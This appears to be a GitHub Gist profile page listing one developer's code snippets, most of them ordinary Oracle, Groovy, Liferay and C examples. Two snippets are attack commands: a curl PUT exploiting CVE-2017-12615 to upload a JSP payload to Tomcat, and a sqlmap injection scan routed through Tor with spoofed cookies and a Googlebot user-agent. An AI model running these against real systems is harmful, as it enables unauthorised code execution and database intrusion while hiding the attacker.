Skip to content

Instantly share code, notes, and snippets.

View cmaggiulli's full-sized avatar

Chris Maggiulli cmaggiulli

View GitHub Profile
@cmaggiulli
cmaggiulli / 3bitmultiplex.c
Created June 24, 2018 08:31
3 bit multi plex simulation
/****************************************************
Author: Christopher Maggiulli
Student ID: 000911211
Email: [email protected]
Class: ICSI 404 Computer Organization
*****************************************************/
#include <stdio.h>
@cmaggiulli
cmaggiulli / incident-file-information.sh
Last active June 29, 2018 03:19
Shell script to retrieve FileName's, FileID's, and the IncidentID from a ReferenceNumber in Oracle Service Cloud (RightNow) using the RESTful Connect API v1.4
#!/bin/sh
# Author: Chris Maggiulli
# Email: [email protected]
# Platform: Oracle Service Cloud (RightNow) Connect REST API v1.4
# Description: Sends ROQL to a RESTful service to retrieve FileNames, FileIDs, and the IncidentID from a ReferenceNumber
# Usage: ./incident-file-information.sh {Usernmae} {Password} {BaseURL (without protocol schema)} {RefeenceNumber}
# Example: ./incident-file-information.sh CMaggu0 Lifer12 yoururl.custhelp.com/ 188011-0919
ROQL="SELECT
@cmaggiulli
cmaggiulli / CVE-2017-12615.sh
Created July 15, 2018 19:00
CVE-2017-12615 bypass the jsp file type restriction on put requests for affected tomcat servers by appending a forward slash to the end of the fie name.
curl -X PUT http://url:port/payload.jsp/ -d @- < payload.jsp
@cmaggiulli
cmaggiulli / ExportIar.groovy
Last active April 1, 2019 20:22
Groovy script to export all IAR files from Oracle Integration Cloud
#!/usr/bin/env groovy
/*
* This script exports all Oracle Inegration Cloud integrations
* Example execution command below
* groovy export-iar.groovy https://My-Oracle-URL.com MyUsername MyPassword
* Author: Chris Maggiulli
* Email: [email protected]
*/
@cmaggiulli
cmaggiulli / consumer.gy
Created July 20, 2018 21:33
A groovy rabbitmq consumer
@Grapes([
@Grab(group='com.rabbitmq', module='amqp-client', version='3.6.5'),
@Grab(group = 'com.sun.mail', module = 'javax.mail', version = '1.6.0')
])
import com.rabbitmq.client.*
import groovy.json.JsonSlurper
import javax.mail.Message
import javax.mail.Session
import javax.mail.Transport
@cmaggiulli
cmaggiulli / incident-file-info.sh
Last active July 22, 2018 21:43
Shell Script that uses curl to run a Oracle Service Cloud ROQL query. The call uses 18A version 1.4 /queryResults endpoint with a query parameter called "query". The ROQL statement returns the a file name and it's respective id, for all incidents containing an id. Usage instructions in comments. json_pp package needs to be installed on your linu…
#!/bin/sh
# Author: Chris Maggiulli
# Email: [email protected]
# Platform: Oracle Service Cloud (RightNow) Connect REST API v1.4
# Description: Sends ROQL to a RESTful service to retrieve FileNames, FileIDs, and the IncidentID from a ReferenceNumber
# Usage: ./incident-file-information.sh {Usernmae} {Password} {BaseURL (without protocol schema)} {RefeenceNumber}
# Example: ./incident-file-information.sh CMaggu0 Lifer12 yoururl.custhelp.com/ 188011-0919
ROQL="SELECT
@cmaggiulli
cmaggiulli / sqlmap-example.sh
Created July 22, 2018 21:47
Example sqlmap statement using tor and sending coldfusion CFID and CFTOKEN cookies
#!/bin/sh
./sqlmap.py -u "http://www.my-security-lab-example.com/index.cfm" --cookie="CFID=14438602; CFTOKEN=c0d7ea59ab207174-42572088-1DD8-B747-629578C7057DE711" --level=3 --risk=1 --tor --tor-type=SOCKS5 --check-tor --tor-port=9050 --forms --user-agent="Googlebot (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
@cmaggiulli
cmaggiulli / dbaas-pdb-sql.sql
Created July 22, 2018 22:01
Useful SQL / RMAN statements to clone or create a secondary PDB in Oracle DBaaS 12. THIS IS NOT A SCRIPT YOU JUST RUN. THESE ARE JUST USEFUL QUERIES
ALTER SESSION set exclude_seed_cdb_view = false;
ALTER SESSION set "_exclude_seed_cdb_view" = false;
SELECT file_name FROM cdb_data_files
WHERE con_id = 2
@cmaggiulli
cmaggiulli / permissions.java
Created July 22, 2018 22:03
Example of programmatic permissions in Liferay 6.2
public void setFilePermissions(DLFileEntry fileEntry) throws Exception{
ResourceAction resourceAction = null;
try {
ArrayList<String> actions = actions();
for(String action : actions) {
resourceAction = ResourceActionLocalServiceUtil.getResourceAction(DLFileEntry.class.getName(), action);
setFilePermissions(fileEntry, resourceAction);
}
@cmaggiulli
cmaggiulli / validator.jsf
Created July 22, 2018 22:06
Example of using Liferays JavaScript SDK to create a capslock validator
<aui:script use="aui-base">
var password = A.one('#<portlet:namespace />password');
if (password) {
password.on(
'keypress',
function(event) {
Liferay.Util.showCapsLock(event, '<portlet:namespace />passwordCapsLockSpan');
}
);